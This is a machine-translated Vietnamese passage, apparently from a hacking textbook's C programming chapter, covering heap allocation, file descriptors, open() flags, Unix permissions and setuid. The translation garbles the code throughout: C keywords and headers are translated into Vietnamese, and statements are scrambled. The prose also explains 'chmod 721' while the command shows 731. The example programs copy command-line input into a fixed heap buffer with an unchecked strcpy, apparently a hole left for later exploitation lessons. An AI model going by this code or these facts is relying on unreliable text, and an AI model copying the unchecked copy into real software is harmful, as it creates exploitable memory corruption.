char_ptr (0x804a008) --> 'bộ nhớ mới'
[-] giải phóng bộ nhớ heap của int_ptr...
[-] giải phóng bộ nhớ heap của char_ptr...
người đọc@hacking:~/booksrc $
Nếu một khối bộ nhớ lớn hơn được phân bổ và sau đó giải phóng, thì việc phân
bổ 15 byte cuối cùng sẽ diễn ra trong không gian bộ nhớ được giải phóng đó. Bằng
cách thử nghiệm với các giá trị khác nhau, bạn có thể tìm ra chính xác thời điểm phân bổ
Lập trình 79
Machine Translated by Google
chức năng chọn lấy lại không gian đã giải phóng cho các phân bổ mới. Thông
thường, các câu lệnh printf() thông tin đơn giản và một chút thử nghiệm có thể
tiết lộ nhiều điều về hệ thống cơ bản.
0x273 Kiểm tra lỗi malloc()
Trong heap_example.c, có một số kiểm tra lỗi cho các lệnh gọi malloc() .
Mặc dù các lệnh gọi malloc() không bao giờ lỗi, nhưng điều quan trọng là
phải xử lý tất cả các trường hợp tiềm ẩn khi mã hóa trong C. Nhưng với nhiều
lệnh gọi malloc() , mã kiểm tra lỗi này cần phải xuất hiện ở nhiều nơi. Điều
này thường làm cho mã trông cẩu thả và bất tiện nếu cần thay đổi mã kiểm
tra lỗi hoặc nếu cần các lệnh gọi malloc() mới . Vì tất cả các mã kiểm tra
lỗi về cơ bản là giống nhau cho mọi lệnh gọi malloc() , đây là nơi hoàn hảo
để sử dụng một hàm thay vì lặp lại cùng một lệnh ở nhiều nơi. Hãy xem
errorchecked_heap.c để biết ví dụ.
lỗi kiểm tra_heap.c
#include <stdio.h>
#include <stdlib.h>
#include <chuỗi.h>
void *errorchecked_malloc(unsigned int); // Nguyên mẫu hàm cho errorchecked_malloc()
int main(int argc, char *argv[]) {
char *char_ptr; // Một con trỏ char
int *int_ptr;
// Một con trỏ số nguyên
int kích thước bộ nhớ;
nếu (argc < 2)
// Nếu không có đối số dòng lệnh,
mem_size = 50; // sử dụng 50 làm giá trị mặc định.
khác
kích thước_mem = atoi(đối_số[1]);
printf("\t[+] đang phân bổ %d byte bộ nhớ trên heap cho char_ptr\n", mem_size);
char_ptr = (char *) errorchecked_malloc(mem_size); // Phân bổ bộ nhớ heap
strcpy(char_ptr, "Bộ nhớ này nằm trên heap.");
printf("char_ptr (%p) --> '%s'\n", char_ptr, char_ptr);
printf("\t[+] phân bổ 12 byte bộ nhớ trên heap cho int_ptr\n");
int_ptr = (int *) errorchecked_malloc(12); // Phân bổ lại bộ nhớ heap
*int_ptr = 31337; // Đặt giá trị 31337 vào nơi int_ptr đang trỏ tới.
printf("int_ptr (%p) --> %d\n", int_ptr, *int_ptr);
printf("\t[-] đang giải phóng bộ nhớ heap của char_ptr...\n");
free(char_ptr); // Giải phóng bộ nhớ heap
printf("\t[+] phân bổ thêm 15 byte cho char_ptr\n");
char_ptr = (char *) errorchecked_malloc(15); // Phân bổ thêm bộ nhớ heap
strcpy(char_ptr, "bộ nhớ mới");
80 0x200
Machine Translated by Google
printf("char_ptr (%p) --> '%s'\n", char_ptr, char_ptr);
printf("\t[-] giải phóng bộ nhớ heap của int_ptr...\n");
free(int_ptr); // Giải phóng bộ nhớ heap
printf("\t[-] đang giải phóng bộ nhớ heap của char_ptr...\n");
free(char_ptr); // Giải phóng khối bộ nhớ heap khác
}
void *errorchecked_malloc(unsigned int size) { // Một hàm malloc() được kiểm tra lỗi
khoảng trống *ptr;
ptr = malloc(kích thước);
nếu(ptr == NULL) {
fprintf(stderr, "Lỗi: không thể phân bổ bộ nhớ heap.\n");
thoát(-1);
}
trả về ptr;
}
Chương trình errorchecked_heap.c về cơ bản tương đương với mã
heap_example.c trước đó, ngoại trừ việc phân bổ bộ nhớ heap và kiểm tra lỗi
đã được tập hợp thành một hàm duy nhất. Dòng mã đầu tiên [void
*errorchecked_malloc(unsigned int);] là nguyên mẫu hàm. Điều này cho trình biên
dịch biết rằng sẽ có một hàm có tên là errorchecked_malloc() mong đợi một đối số
số nguyên không dấu duy nhất và trả về một con trỏ void . Sau đó, hàm thực tế có
thể ở bất kỳ đâu; trong trường hợp này, nó nằm sau hàm main() . Bản thân hàm
khá đơn giản; nó chỉ chấp nhận kích thước tính bằng byte để phân bổ và cố gắng
phân bổ lượng bộ nhớ đó bằng malloc(). Nếu việc phân bổ không thành công, mã
kiểm tra lỗi sẽ hiển thị lỗi và chương trình thoát; nếu không, nó sẽ trả về con
trỏ đến bộ nhớ heap mới được phân bổ.
Theo cách này, hàm errorchecked_malloc() tùy chỉnh có thể được sử dụng thay cho hàm malloc() thông thường,
loại bỏ nhu cầu kiểm tra lỗi lặp lại sau đó. Điều này sẽ bắt đầu làm nổi bật tính hữu ích của lập trình
bằng hàm.
0x280 Xây dựng trên những điều cơ bản
Khi bạn hiểu được các khái niệm cơ bản của lập trình C, phần còn lại khá dễ dàng.
Phần lớn sức mạnh của C đến từ việc sử dụng các hàm khác. Trên thực tế, nếu các
hàm bị xóa khỏi bất kỳ chương trình nào trước đó, tất cả những gì còn lại sẽ là
các câu lệnh rất cơ bản.
0x281 Truy cập tệp
Có hai cách chính để truy cập tệp trong C: mô tả tệp và luồng tệp. Mô tả tệp
sử dụng một tập hợp các hàm I/O cấp thấp và luồng tệp là dạng I/O đệm cấp cao
hơn được xây dựng trên các hàm cấp thấp hơn.
Một số người cho rằng các hàm filestream dễ lập trình hơn; tuy nhiên, các mô tả
tệp trực tiếp hơn. Trong cuốn sách này, trọng tâm sẽ là các hàm I/O cấp thấp
sử dụng các mô tả tệp.
Lập trình 81
Machine Translated by Google
Mã vạch ở mặt sau của cuốn sách này đại diện cho một con số. Vì con số này là duy nhất trong số các
cuốn sách khác trong hiệu sách, nên nhân viên thu ngân có thể quét số đó khi thanh toán và sử dụng nó
để tham khảo thông tin về cuốn sách này.
book trong cơ sở dữ liệu của cửa hàng. Tương tự như vậy, một mô tả tệp là một số được sử dụng
để tham chiếu đến các tệp đang mở. Bốn hàm phổ biến sử dụng mô tả tệp là open(), close(),
read() và write(). Tất cả các hàm này sẽ trả về
1 nếu có lỗi. Hàm open() mở tệp để đọc và/
hoặc ghi và trả về một mô tả tệp. Mô tả tệp được trả về chỉ là một giá trị số nguyên, nhưng
nó là duy nhất trong số các tệp đang mở. Mô tả tệp được truyền dưới dạng đối số cho các hàm
khác như một con trỏ đến tệp đã mở. Đối với hàm close() , mô tả tệp là đối số duy nhất. Đối
số của các hàm read() và write() là mô tả tệp, một con trỏ đến dữ liệu để đọc hoặc ghi và số
byte để đọc hoặc ghi từ vị trí đó.
Các đối số cho hàm open() là một con trỏ đến tên tệp để mở và một loạt các cờ được xác định trước để chỉ
định chế độ truy cập. Các cờ này và cách sử dụng của chúng sẽ được giải thích chi tiết sau, nhưng bây giờ
chúng ta hãy xem một chương trình ghi chú đơn giản sử dụng các mô tả tệp—simplenote.c. Chương trình này
chấp nhận một ghi chú làm đối số dòng lệnh và sau đó thêm nó vào cuối tệp /tmp/notes. Chương trình này
sử dụng một số hàm, bao gồm một hàm phân bổ bộ nhớ heap kiểm tra lỗi quen thuộc. Các hàm khác được sử
dụng để hiển thị thông báo sử dụng và xử lý các lỗi nghiêm trọng. Hàm usage () chỉ được định nghĩa trước
hàm main(), do đó nó không cần nguyên mẫu hàm.
simplenote.c
#include <stdio.h>
#include <stdlib.h>
#include <chuỗi.h>
#include <fcntl.h>
#include <sys/stat.h>
void sử dụng(char *prog_name, char *filename) {
printf("Cách sử dụng: %s <dữ liệu cần thêm vào %s>\n", prog_name, filename);
thoát(0);
}
void fatal(char *);
// Một hàm cho lỗi nghiêm trọng
void *ec_malloc(unsigned int); // Một wrapper malloc() đã kiểm tra lỗi
int main(int argc, char *argv[]) {
int fd; // mô tả tập tin
char *bộ đệm, *tệp dữ liệu;
bộ đệm = (ký tự *) ec_malloc(100);
tệp dữ liệu = (char *) ec_malloc(20);
strcpy(tệp dữ liệu, "/tmp/ghi chú");
if(argc < 2)
// Nếu không có đối số dòng lệnh,
usage(argv[0], datafile); // hiển thị thông báo sử dụng và thoát.
82 0x200
Machine Translated by Google
strcpy(buffer, argv[1]); // Sao chép vào bộ đệm.
printf("[DEBUG] bộ đệm @ %p: \'%s\'\n", bộ đệm, bộ đệm);
printf("[DEBUG] tệp dữ liệu @ %p: \'%s\'\n", tệp dữ liệu, tệp dữ liệu);
strncat(buffer, "\n", 1); // Thêm một dòng mới vào cuối.
// Mở tệp fd =
open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR); if(fd == -1)
fatal("trong
main() khi mở tệp"); printf("[DEBUG] mô
tả tệp là %d\n", fd);
// Ghi dữ liệu
if(write(fd, buffer, strlen(buffer)) == -1)
fatal("trong hàm main() khi ghi bộ đệm vào tệp");
// Đóng file
if(close(fd) == -1)
fatal("trong hàm main() khi đóng file");
printf("Ghi chú đã được lưu.\n");
free(bộ đệm);
free(tệp dữ liệu);
}
// Một hàm để hiển thị thông báo lỗi và sau đó thoát void
fatal(char *message) { char
error_message[100];
strcpy(error_message, "[!!] Lỗi nghiêm trọng
"); strncat(error_message, message,
83); perror(error_message);
thoát(-1);
}
// Hàm bao bọc malloc() được kiểm tra lỗi void
*ec_malloc(unsigned int size) { void *ptr;
ptr =
malloc(size); if(ptr
== NULL)
fatal("trong ec_malloc() khi cấp phát bộ nhớ");
return ptr;
}
Bên cạnh các cờ trông lạ được sử dụng trong hàm open() , hầu hết trong số này
code phải dễ đọc. Ngoài ra còn có một số hàm chuẩn mà chúng ta chưa từng sử dụng trước đây. Hàm
strlen() chấp nhận một chuỗi và trả về độ dài của chuỗi đó. Hàm này được sử dụng kết hợp với hàm
write() vì hàm này cần biết cần ghi bao nhiêu byte. Hàm perror() là viết tắt của print error và được sử
dụng trong fatal() để in thêm một thông báo lỗi (nếu có) trước khi thoát.
reader@hacking:~/booksrc $ gcc -o simplenote simplenote.c
reader@hacking:~/booksrc $ ./simplenote Cách
sử dụng: ./simplenote <dữ liệu để thêm vào /tmp/notes>
Lập trình 83
Machine Translated by Google
reader@hacking:~/booksrc $ ./simplenote "đây là ghi chú thử nghiệm"
[DEBUG] bộ đệm @ 0x804a008: 'đây là ghi chú thử nghiệm'
[DEBUG] tệp dữ liệu @ 0x804a070: '/tmp/notes'
[DEBUG] mô tả tập tin là 3
Ghi chú đã được lưu.
reader@hacking:~/booksrc $ cat /tmp/notes đây là
ghi chú thử nghiệm
reader@hacking:~/booksrc $ ./simplenote "tuyệt, nó hoạt động"
[DEBUG] buffer @ 0x804a008: 'tuyệt, nó hoạt động'
[DEBUG] tệp dữ liệu @ 0x804a070: '/tmp/notes'
[DEBUG] mô tả tập tin là 3
Ghi chú đã được lưu.
reader@hacking:~/booksrc $ cat /tmp/notes đây là
ghi chú thử nghiệm
tuyệt vời, nó hoạt động
người đọc@hacking:~/booksrc $
Kết quả thực thi của chương trình khá dễ hiểu, nhưng có một số điều về mã nguồn cần được giải
thích thêm.
Các tệp fcntl.h và sys/stat.h phải được bao gồm, vì các tệp đó định nghĩa các cờ được sử dụng với hàm
open() . Bộ cờ đầu tiên được tìm thấy trong fcntl.h và được sử dụng để thiết lập chế độ truy cập. Chế độ
truy cập phải sử dụng ít nhất một trong ba cờ sau:
O_RDONLY Mở tệp để truy cập chỉ đọc.
O_WRONLY Mở tệp để chỉ có quyền ghi.
O_RDWR Mở tệp để có cả quyền đọc và ghi.
Những cờ này có thể được kết hợp với một số cờ tùy chọn khác bằng cách sử dụng toán tử bitwise OR.
Một số cờ phổ biến và hữu ích hơn trong số những cờ này như sau:
O_APPEND Ghi dữ liệu vào cuối tệp.
O_TRUNC
Nếu tệp đã tồn tại, hãy cắt bớt tệp xuống độ dài 0.
O_CREAT Tạo tệp nếu nó không tồn tại.
Các phép toán bitwise kết hợp các bit bằng các cổng logic chuẩn như OR và AND. Khi hai bit đi vào
cổng OR, kết quả là 1 nếu bit đầu tiên hoặc bit thứ hai là 1. Nếu hai bit đi vào cổng AND, kết quả chỉ là
1 nếu cả bit đầu tiên và bit thứ hai đều là 1. Các giá trị 32 bit đầy đủ có thể sử dụng các toán tử
bitwise này để thực hiện các phép toán logic trên mỗi bit tương ứng. Mã nguồn của bitwise.c và đầu ra
chương trình minh họa các phép toán bitwise này.
bitwise.c
#include <stdio.h>
int chính() {
int i, bit_a, bit_b;
printf("toán tử OR bit |\n");
84 0x200
Machine Translated by Google
đối với (i = 0; i < 4; i++) {
bit_a = (i & 2) / 2; // Lấy bit thứ hai. bit_b = (i &
1); // Lấy bit đầu tiên. printf("%d | %d = %d\n", bit_a,
bit_b, bit_a | bit_b);
} printf("\ntoán tử AND bitwise &\n");
for(i=0; i < 4; i++) {
bit_a = (i & 2) / 2; // Lấy bit thứ hai. bit_b = (i &
1); // Lấy bit đầu tiên. printf("%d & %d = %d\n", bit_a,
bit_b, bit_a & bit_b);
}
}
Kết quả của việc biên dịch và thực thi bitwise.c như sau.
reader@hacking:~/booksrc $ gcc bitwise.c
reader@hacking:~/booksrc $ ./a.out toán
tử OR bitwise | 0 | 0 = 0
0 | 1 = 1
1 | 0 = 1
1 | 1 = 1
toán tử bitwise AND & 0 & 0
= 0 0 & 1
= 0
1 và 0 = 0
1 và 1 = 1
người đọc@hacking:~/booksrc $
Các cờ được sử dụng cho hàm open() có các giá trị tương ứng với các
bit đơn. Theo cách này, các cờ có thể được kết hợp bằng logic OR mà không
phá hủy bất kỳ thông tin nào. Chương trình fcntl_flags.c và đầu ra của nó
khám phá một số giá trị cờ được định nghĩa bởi fcntl.h và cách chúng kết hợp với nhau.
fcntl_flags.c
#include <stdio.h>
#include <fcntl.h>
void display_flags(char *, số nguyên không dấu);
void binary_print(số nguyên không dấu);
int main(int argc, char *argv[])
{ display_flags("O_RDONLY\t\t", O_RDONLY);
display_flags("O_SAI\t\t", O_SAI);
display_flags("O_RDWR\t\t\t", O_RDWR);
printf("\n");
display_flags("O_APPEND\t\t", O_APPEND);
display_flags("O_TRUNC\t\t\t", O_TRUNC);
display_flags("O_CREAT\t\t\t", O_CREAT);
Lập trình 85
Machine Translated by Google
inf("\n");
display_flags("CHỈ SAI|ỨNG DỤNG O|TẠO_TẠO", CHỈ SAI|ỨNG DỤNG O|TẠO_TẠO_TẠO);
}
void display_flags(char *label, giá trị int không dấu) {
printf("%s\t: %d\t:", nhãn, giá trị);
binary_print(giá trị);
inf("\n");
}
void binary_print(giá trị int không dấu) {
unsigned int mask = 0xff000000; // Bắt đầu bằng mặt nạ cho byte cao nhất.
unsigned int shift = 256*256*256; // Bắt đầu bằng lệnh shift cho byte cao nhất.
số nguyên không dấu byte, byte_iterator, bit_iterator;
đối với(byte_iterator=0; byte_iterator < 4; byte_iterator++) {
byte = (giá trị & mặt nạ) / dịch chuyển; // Cô lập từng byte.
inf(" ");
for(bit_iterator=0; bit_iterator < 8; bit_iterator++) { // In ra các bit của byte.
if(byte & 0x80) // Nếu bit cao nhất trong byte không phải là 0,
printf("1"); // in ra số 1.
khác
printf("0");
byte *= 2;
// Nếu không, in ra số 0.
// Di chuyển tất cả các bit sang trái 1 đơn vị.
}
mặt nạ /= 256;
// Di chuyển các bit trong mặt nạ sang phải 8.
dịch chuyển /= 256;
// Di chuyển các bit trong lệnh shift sang phải 8 đơn vị.
}
}
Kết quả của việc biên dịch và thực thi fcntl_flags.c như sau.
reader@hacking:~/booksrc $ gcc fcntl_flags.c
reader@hacking:~/booksrc $ ./a.out
: 00000000 00000000 00000000 00000000
O_RDONLY : 0 O_SAI O_RDWR
: 1
: 00000000 00000000 00000000 00000001
: 2
: 00000000 00000000 00000000 00000010
O_PHỤ LỤC
: 1024 : 00000000 00000000 00000100 00000000
O_TRUNC
:
: 00000000 00000000 00000010 00000000
O_TẠO
512 : 64
: 00000000 00000000 00000000 01000000
O_SAI|O_APPEND|O_CREAT $
: 1089 : 00000000 00000000 00000100 01000001
Sử dụng cờ bit kết hợp với logic bitwise là một kỹ thuật hiệu quả và thường
được sử dụng. Miễn là mỗi cờ là một số chỉ có các bit duy nhất được bật, thì hiệu
ứng của việc thực hiện phép toán OR bitwise trên các giá trị này cũng giống như việc
cộng chúng lại. Trong fcntl_flags.c, 1 + 1024 + 64 = 1089. Tuy nhiên, kỹ thuật này
chỉ hoạt động khi tất cả các bit đều duy nhất.
86 0x200
Machine Translated by Google
0x282 Quyền tập tin
Nếu cờ O_CREAT được sử dụng ở chế độ truy cập cho hàm open() , thì cần có đối
số bổ sung để xác định quyền đối với tệp của tệp mới được tạo.
Đối số này sử dụng các cờ bit được định nghĩa trong sys/stat.h, có thể kết
hợp với nhau bằng logic bitwise OR.
S_IRUSR Cấp quyền đọc tệp cho người dùng (chủ sở hữu).
S_IWUSR Cấp quyền ghi tệp cho người dùng (chủ sở hữu).
S_IXUSR Cấp quyền thực thi tệp cho người dùng (chủ sở hữu).
S_IRGRP Cấp quyền đọc tệp cho nhóm.
S_IWGRP Cấp quyền ghi tệp cho nhóm.
S_IXGRP Cấp quyền thực thi tệp cho nhóm.
S_IROTH Cấp quyền đọc tệp cho người khác (bất kỳ ai).
S_IWOTH Cấp quyền ghi tệp cho người khác (bất kỳ ai).
S_IXOTH Cấp quyền thực thi tệp cho người khác (bất kỳ ai).
Nếu bạn đã quen thuộc với quyền tệp Unix, những cờ đó sẽ có ý nghĩa hoàn
hảo với bạn. Nếu chúng không có ý nghĩa, đây là khóa học cấp tốc về quyền tệp
Unix.
Mỗi tệp có một chủ sở hữu và một nhóm. Các giá trị này có thể được hiển thị bằng cách sử dụng
ls -l và được hiển thị trong kết quả đầu ra bên dưới.
người đọc@hacking:~/booksrc $ ls -l /etc/passwd simplenote*
-rw-r--r-- 1 gốc gốc 1424 2007-09-06 09:45 /etc/passwd
-rwxr-xr-x 1 người đọc người đọc 8457 2007-09-07 02:51 simplenote
-rw------- 1 người đọc người đọc 1872 2007-09-07 02:51 simplenote.c
người đọc@hacking:~/booksrc $
Đối với tệp /etc/passwd, chủ sở hữu là root và nhóm cũng là root. Đối với
hai tệp simplenote còn lại, chủ sở hữu là người đọc và nhóm là người dùng.
Quyền đọc, ghi và thực thi có thể được bật và tắt cho ba trường khác nhau:
người dùng, nhóm và khác. Quyền người dùng mô tả những gì chủ sở hữu tệp có
thể làm (đọc, ghi và/hoặc thực thi), quyền nhóm mô tả những gì người dùng trong
nhóm đó có thể làm và các quyền khác mô tả những gì mọi người khác có thể làm.
Các trường này cũng được hiển thị ở phía trước đầu ra ls -l . Đầu tiên, quyền
đọc/ghi/thực thi của người dùng được hiển thị, sử dụng r để đọc, w để ghi, x
để thực thi và - để tắt. Ba ký tự tiếp theo hiển thị quyền nhóm và ba ký tự
cuối cùng dành cho các quyền khác. Trong đầu ra ở trên, chương trình
simplenote đã bật cả ba quyền người dùng (hiển thị in đậm). Mỗi quyền tương
ứng với một cờ bit; đọc là 4 (100 trong nhị phân), ghi là 2 (010 trong nhị
phân) và thực thi là 1 (001 trong nhị phân). Vì mỗi giá trị chỉ chứa các bit
duy nhất nên phép toán OR từng bit đạt được kết quả tương tự như khi cộng
các số này lại với nhau. Các giá trị này có thể được cộng lại với nhau để xác
định quyền cho người dùng, nhóm và những người khác bằng lệnh chmod .
Lập trình 87
Machine Translated by Google
reader@hacking:~/booksrc $ chmod 731 simplenote.c
reader@hacking:~/booksrc $ ls -l simplenote.c -rwxwx--x 1 reader reader 1826 2007-09-07 02:51 simplenote.c
reader@hacking:~/booksrc $ chmod ugo-wx simplenote.c
reader@hacking:~/booksrc $ ls -l simplenote.c
-r-------- 1 reader reader 1826 2007-09-07 02:51 simplenote.c
reader@hacking:~/booksrc $ chmod u+w simplenote.c
reader@hacking:~/booksrc $ ls -l simplenote.c
-rw------- 1 reader reader 1826 2007-09-07 02:51 simplenote.c
người đọc@hacking:~/booksrc $
Lệnh đầu tiên (chmod 721) cấp quyền đọc, ghi và thực thi cho người dùng, vì số đầu
tiên là 7 (4 + 2 + 1), quyền ghi và thực thi cho nhóm, vì số thứ hai là 3 (2 + 1) và
chỉ cấp quyền thực thi cho người khác, vì số thứ ba là 1. Quyền cũng có thể được thêm
hoặc bớt bằng cách sử dụng chmod. Trong lệnh chmod tiếp theo , đối số ugo-wx
có nghĩa là Trừ quyền ghi và thực thi khỏi người dùng, nhóm và những người khác. Lệnh
chmod u+w cuối cùng cấp quyền ghi cho người dùng.
Trong chương trình simplenote, hàm open() sử dụng S_IRUSR|S_IWUSR làm đối số
cấp quyền bổ sung, nghĩa là tệp /tmp/notes chỉ nên có quyền đọc và ghi của người dùng
khi tệp được tạo.
reader@hacking:~/booksrc $ ls -l /tmp/notes
-rw------- 1 người đọc reader 36 2007-09-07 02:52 /tmp/notes
người đọc@hacking:~/booksrc $
0x283 ID người dùng
Mỗi người dùng trên hệ thống Unix đều có một số ID người dùng duy nhất. ID người
dùng này có thể được hiển thị bằng lệnh id .
reader@hacking:~/booksrc $ id reader
uid=999(máy đọc) gid=999(máy đọc)
groups=999(máy đọc),4(adm),20(dialout),24(cdrom),25(đĩa mềm),29(âm thanh),30(nhúng),4
4(video),46(plugdev),104(máy quét),112(netdev),113(lpadmin),115(powerdev),117(a
phút)
reader@hacking:~/booksrc $ id matrix
uid=500(ma trận) gid=500(ma trận) groups=500(ma trận)
reader@hacking:~/booksrc $ id root
uid=0(gốc) gid=0(gốc) nhóm=0(gốc)
người đọc@hacking:~/booksrc $
Người dùng gốc có ID người dùng 0 giống như tài khoản quản trị viên, có
quyền truy cập đầy đủ vào hệ thống. Lệnh su có thể được sử dụng để chuyển sang một
người dùng khác và nếu lệnh này được chạy dưới dạng root, có thể thực hiện mà
không cần mật khẩu. Lệnh sudo cho phép chạy một lệnh duy nhất dưới dạng người dùng root.
Trên LiveCD, sudo đã được cấu hình để có thể thực hiện mà không cần mật khẩu, vì mục
đích đơn giản. Các lệnh này cung cấp một phương pháp đơn giản để nhanh chóng chuyển
đổi giữa những người dùng.
88 0x200
Machine Translated by Google
reader@hacking:~/booksrc $ sudo su jose
jose@hacking:/home/reader/booksrc $ id
uid=501(jose) gid=501(jose) nhóm=501(jose)
jose@hacking:/home/reader/booksrc $
Với tư cách là người dùng jose, chương trình simplenote sẽ chạy dưới dạng jose nếu
được thực thi, nhưng nó sẽ không có quyền truy cập vào tệp /tmp/notes. Tệp này thuộc sở
hữu của người dùng reader và chỉ cho phép chủ sở hữu của nó quyền đọc và ghi.
jose@hacking:/home/reader/booksrc $ ls -l /tmp/notes
-rw------- 1 người đọc người đọc 36 2007-09-07 05:20 /tmp/notes
jose@hacking:/home/reader/booksrc $ ./simplenote "một ghi chú cho jose"
[DEBUG] bộ đệm @ 0x804a008: 'một lưu ý cho jose'
[DEBUG] tệp dữ liệu @ 0x804a070: '/tmp/notes'
[!!] Lỗi nghiêm trọng trong main() khi mở tệp: Quyền bị từ chối
jose@hacking:/home/reader/booksrc $ cat /tmp/notes cat: /
tmp/notes: Quyền bị từ chối
jose@hacking:/home/reader/booksrc $ thoát
ra
người đọc@hacking:~/booksrc $
Điều này ổn nếu reader là người dùng duy nhất của chương trình simplenote; tuy
nhiên, có nhiều lần nhiều người dùng cần có thể truy cập vào một số phần nhất định của
cùng một tệp. Ví dụ, tệp /etc/passwd chứa thông tin tài khoản của mọi người dùng trên hệ
thống, bao gồm cả shell đăng nhập mặc định của mỗi người dùng. Lệnh chsh cho phép bất kỳ
người dùng nào thay đổi shell đăng nhập của riêng mình.
Chương trình này cần có khả năng thực hiện thay đổi đối với tệp /etc/passwd, nhưng chỉ
trên dòng liên quan đến tài khoản người dùng hiện tại. Giải pháp cho vấn đề này trong
Unix là quyền set user ID (setuid) . Đây là một bit quyền tệp bổ sung có thể được
thiết lập bằng chmod. Khi một chương trình có cờ này được thực thi, nó sẽ chạy dưới
dạng ID người dùng của chủ sở hữu tệp.
reader@hacking:~/booksrc $ chsh nào
/usr/bin/chsh
người đọc@hacking:~/booksrc $ ls -l /usr/bin/chsh /etc/passwd
-rw-r--r-- 1 gốc gốc 1424 2007-09-06 21:05 /etc/passwd
-rwsr-xr-x 1 gốc gốc 23920 2006-12-19 20:35 /usr/bin/chsh
người đọc@hacking:~/booksrc $
Chương trình chsh có cờ setuid được thiết lập, được chỉ ra bằng s trong đầu ra ls ở
trên. Vì tệp này thuộc sở hữu của root và có quyền setuid được thiết lập, chương trình
sẽ chạy với tư cách là người dùng root khi bất kỳ người dùng nào chạy chương trình này.
Tệp /etc/passwd mà chsh ghi vào cũng thuộc sở hữu của root và chỉ cho phép chủ sở hữu
ghi vào tệp đó. Logic chương trình trong chsh được thiết kế để chỉ cho phép ghi vào
dòng trong /etc/passwd tương ứng với người dùng đang chạy chương trình, mặc dù chương
trình đang chạy hiệu quả dưới dạng root. Điều này có nghĩa là một chương trình đang
chạy có cả ID người dùng thực và ID người dùng hiệu quả. Các ID này có thể được truy
xuất bằng cách sử dụng các hàm getuid() và geteuid() tương ứng, như được hiển thị
trong uid_demo.c.
Lập trình 89
Machine Translated by Google
uid_demo.c
#include <stdio.h>
int chính() {
printf("uid thực: %d\n", getuid());
printf("uid hiệu dụng: %d\n", geteuid());
}
Kết quả của việc biên dịch và thực thi uid_demo.c như sau.
reader@hacking:~/booksrc $ gcc -o uid_demo uid_demo.c
reader@hacking:~/booksrc $ ls -l uid_demo
-rwxr-xr-x 1 người đọc người đọc 6825 2007-09-07 05:32 uid_demo
reader@hacking:~/booksrc $ ./uid_demo uid
thực: 999
uid hiệu quả: 999
người đọc@hacking:~/booksrc $ sudo chown root:root ./uid_demo
người đọc@hacking:~/booksrc $ ls -l uid_demo
-rwxr-xr-x 1 gốc gốc 6825 2007-09-07 05:32 uid_demo
reader@hacking:~/booksrc $ ./uid_demo uid
thực: 999
uid hiệu quả: 999
người đọc@hacking:~/booksrc $
Trong đầu ra cho uid_demo.c, cả hai ID người dùng đều được hiển thị là 999 khi uid_demo được thực
thi, vì 999 là ID người dùng cho reader. Tiếp theo, lệnh sudo được sử dụng với lệnh chown để thay đổi
chủ sở hữu và nhóm của uid_demo thành root. Chương trình vẫn có thể được thực thi, vì nó có quyền
thực thi cho những người khác và nó hiển thị cả hai ID người dùng vẫn là 999, vì đó vẫn là ID của
người dùng.
người đọc@hacking:~/booksrc $ chmod u+s ./uid_demo
chmod: thay đổi quyền của `./uid_demo': Hoạt động không được phép
người đọc@hacking:~/booksrc $ sudo chmod u+s ./uid_demo
người đọc@hacking:~/booksrc $ ls -l uid_demo
-rwsr-xr-x 1 gốc gốc 6825 2007-09-07 05:32 uid_demo
reader@hacking:~/booksrc $ ./uid_demo uid
thực: 999
uid hiệu quả: 0
người đọc@hacking:~/booksrc $
Vì chương trình hiện do root sở hữu, sudo phải được sử dụng để thay đổi quyền tệp trên đó. Lệnh
chmod u+s bật quyền setuid , có thể thấy trong đầu ra ls -l sau . Bây giờ khi trình đọc người dùng
thực thi uid_demo, ID người dùng hiệu quả là 0 đối với root, điều này có nghĩa là chương trình có thể
truy cập tệp dưới dạng root. Đây là cách chương trình chsh có thể cho phép bất kỳ người dùng nào thay đổi
shell đăng nhập của mình được lưu trữ trong /etc/passwd.
90 0x200
Machine Translated by Google
Kỹ thuật tương tự này có thể được sử dụng trong chương trình ghi chú nhiều người dùng.
Chương trình tiếp theo sẽ là bản sửa đổi của chương trình simplenote; nó cũng sẽ ghi lại ID
người dùng của tác giả gốc của mỗi ghi chú. Ngoài ra, một cú pháp mới cho #include sẽ
được giới thiệu.
Các hàm ec_malloc() và fatal() hữu ích trong nhiều chương trình của chúng tôi. Thay
vì sao chép và dán các hàm này vào từng chương trình, chúng có thể được đưa vào một tệp
include riêng.
hack.h
// Một hàm để hiển thị thông báo lỗi và sau đó thoát
void fatal(char *message) {
char error_message[100];
strcpy(error_message, "[!!] Lỗi nghiêm trọng ");
strncat(thông báo lỗi, tin nhắn, 83);
perror(thông báo lỗi);
thoát(-1);
}
// Một hàm bao bọc malloc() đã kiểm tra lỗi
void *ec_malloc(kích thước số nguyên không dấu) {
khoảng trống *ptr;
ptr = malloc(kích thước);
nếu(ptr == NULL)
fatal("trong ec_malloc() khi phân bổ bộ nhớ");
trả về ptr;
}
Trong chương trình mới này, hacking.h, các hàm chỉ có thể được include. Trong C, khi tên
tệp cho #include được bao quanh bởi < và >, trình biên dịch sẽ tìm tệp này trong các đường
dẫn include chuẩn, chẳng hạn như /usr/include/. Nếu tên tệp được bao quanh bởi dấu ngoặc kép,
trình biên dịch sẽ tìm trong thư mục hiện tại. Do đó, nếu hacking.h nằm trong cùng thư mục
với một chương trình, nó có thể được include với chương trình đó bằng cách nhập #include
"hacking.h".
Các dòng đã thay đổi của chương trình notetaker mới (notetaker.c) được hiển thị
bằng chữ in đậm.
người ghi chép.c
#include <stdio.h>
#include <stdlib.h>
#include <chuỗi.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"
void sử dụng(char *prog_name, char *filename) {
printf("Cách sử dụng: %s <dữ liệu cần thêm vào %s>\n", prog_name, filename);
thoát(0);
Lập trình
91
Machine Translated by Google
}
void fatal(char *);
// Một hàm cho lỗi nghiêm trọng
void *ec_malloc(unsigned int); // Một wrapper malloc() đã kiểm tra lỗi
int main(int argc, char *argv[]) {
int userid, fd; // Mô tả tệp char
*buffer, *datafile;
bộ đệm = (ký tự *) ec_malloc(100);
tệp dữ liệu = (ký tự *) ec_malloc(20);
strcpy(tệp dữ liệu, "/var/notes");
nếu(argc < 2)
// Nếu không có đối số dòng lệnh, usage(argv[0],
datafile); // hiển thị thông báo sử dụng và thoát.
strcpy(buffer, argv[1]); // Sao chép vào bộ đệm.
printf("[DEBUG] bộ đệm @ %p: \'%s\'\n", bộ đệm, bộ đệm);
printf("[DEBUG] tệp dữ liệu @ %p: \'%s\'\n", tệp dữ liệu, tệp dữ liệu);
// Mở tệp fd =
